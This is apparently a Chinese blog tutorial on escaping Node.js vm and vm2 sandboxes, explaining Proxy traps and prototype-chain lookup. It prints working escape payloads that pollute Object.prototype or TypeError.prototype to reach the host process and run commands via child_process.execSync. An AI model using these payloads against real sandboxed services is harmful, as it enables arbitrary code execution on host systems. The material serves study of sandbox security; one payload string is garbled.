【vm沙箱逃逸】

一、什么是沙箱


二、使用方式



我们想在沙箱里运行代码会报错

主要是因为这个是主环境里的原型,沙箱里没有这个对象

通俗来说this是外部传入的,通过this来获取外部环境的原型来获取到process


三、vm2


目前的逃逸已经有很多方法了

我们就用其中一个例子来分析


in操作符的查找机制

当执行 "" in proxy;时,JavaScript 引擎会检查字符串 ""是否是 proxy对象的一个属性(或其原型链上的属性)。这个过程在代理对象中的逻辑如下:

首先,引擎会查看创建 proxy时传入的 handler对象是否定义了 has陷阱。代码中handler只定义了 get陷阱,没有定义 has陷阱。

由于没有 has陷阱进行拦截,引擎会转向默认行为,即对 proxy所代理的目标对象 target(这里是 {})执行默认的 \[HasProperty]内部操作。

默认的 \[HasProperty]与原型链

\[HasProperty]是一个内部操作,它的核心功能就是:判断一个对象(或其原型链上)是否拥有指定的属性。

当使用 in操作符(例如 "name" in obj)时,JavaScript 引擎在底层调用的就是这个 HasProperty内部方法,其中 P就是属性名 "name"。

对于普通对象 target(即 {}),in操作符(或内部的 \[HasProperty])会沿着该对象的原型链向上查找属性。

target本身是空对象,没有 has方法。

接着,查找 target的原型,即 Object.getPrototypeOf(target),它指向 Object.prototype。

在代码中,通过 Object.prototype.has = function() { ... }在 Object.prototype上直接添加了一个 has方法。

因此,当查找 has属性时,就在 Object.prototype上找到了它,于是执行了这个方法,打印出了 "has"。

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

"return process" 是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

复制代码
"use strict";

作用:启用 JavaScript 的严格模式,使代码在更严格的规则下运行。

在逃逸中的作用:确保代码行为可预测,避免某些静默错误干扰攻击流程。

复制代码
var process;

作用:在沙箱内部声明一个 process变量(此时为 undefined)。

策略:为后续存储外部真正的 process对象预留变量名。沙箱通常会阻止直接访问 Node.js 的全局 process对象,因此需要间接获取。

核心攻击代码:

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

代码中的 "ret,rn process"应该是 "return process"的笔误/混淆。实际效果是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

触发机制:

复制代码
"" in Buffer.from;

in操作符的工作流程:

执行 "" in Buffer.from时,检查 Buffer.from是否包含空字符串属性。

由于 Buffer.from是 Proxy,且 handler没有 has陷阱,引擎执行默认行为。

默认行为:对 Buffer.from的目标对象(外部真正的 Buffer.from函数)调用 [[HasProperty]]("")

原型链查找触发污染方法:

在查找属性过程中,引擎会沿着外部 Buffer.from的原型链查找。

外部 Buffer.from的原型链:Buffer.from→ Function.prototype→ Object.prototype。

由于 Object.prototype.has已被污染,在某些 JavaScript 引擎的实现中,属性检查可能会调用 has方法。

最关键的是:当 has方法被调用时,它的 this上下文或参数 t会是外部的 Buffer.from函数。


四、练习

复制代码
(function(){
    // 1. 污染 TypeError 的原型链
    TypeError.prototype.get_process = f => f.constructor("return process")();
    
    try {
        // 2. 故意触发一个 TypeError 异常
        Object.preventExtensions(Buffer.from("")) = a = 1;
    } catch(e) {
        // 3. 利用捕获的异常对象执行逃逸
        return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

原型链污染

复制代码
TypeError.prototype.get_process = f => f.constructor("return process")();

目标:污染 TypeError.prototype,为所有 TypeError实例添加 get_process方法。

方法原理:get_process方法接收一个函数 f,通过 f.constructor获取 Function构造函数,然后动态创建一个返回 process对象的函数并立即执行。

为什么有效:f.constructor总是返回 Function构造函数(除非 f的原型链被修改),而 Function构造函数在创建函数时默认使用当前执行上下文的全局对象。

故意触发异常

复制代码
Object.preventExtensions(Buffer.from("")) = a = 1;

Object.preventExtensions()使对象不可扩展(不能添加新属性)。

对 Buffer.from("")的结果调用此方法后,尝试给返回值赋值 a = 1。

关键错误:在严格模式下,给不可写的属性或不可扩展的对象赋值会抛出 TypeError异常。

利用异常对象逃逸

复制代码
catch(e) {
    return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}

捕获异常:e是 TypeError实例,因为前面污染了原型,所以它有 get_process方法。

获取 process:e.get_process(() => {})执行时:

(() => {})是一个箭头函数,它的 constructor指向 Function

f.constructor("return process")()在外部全局上下文中执行,返回外部真正的 process对象

执行命令:通过获取的 process对象执行 whoami命令。


相关推荐
薛定谔的算法1 小时前
NestJS:让 Node.js 后端告别「野路子」
后端·node.js·nestjs
zzx2006__2 小时前
node.js
node.js
GitLqr17 小时前
2026 Bun 全新姿态:从 Zig 到 Rust 的“暴力”重构与生态大爆发
rust·node.js·bun
赖龙2 天前
pnpm vs npm
前端·npm·node.js
烂蜻蜓3 天前
Node.js入门教程(三十一):Express 框架
node.js·express
小屁孩你滑稽掉了3 天前
prisma操作数据库的方法使用教程(简洁版)
数据库·node.js·prisma·fastify
__zRainy__3 天前
Node系列 · Node基础:https 模块
后端·网络协议·http·https·node.js
__zRainy__3 天前
Node.js Web 框架选型指南:从 Express 到 Hono 的全景对比
前端·node.js·express·koa·nestjs·egg·fastify
烂蜻蜓3 天前
Node.js入门教程(二十八):GET/POST请求
node.js
__zRainy__4 天前
Node系列 · Node基础:net 模块
后端·node.js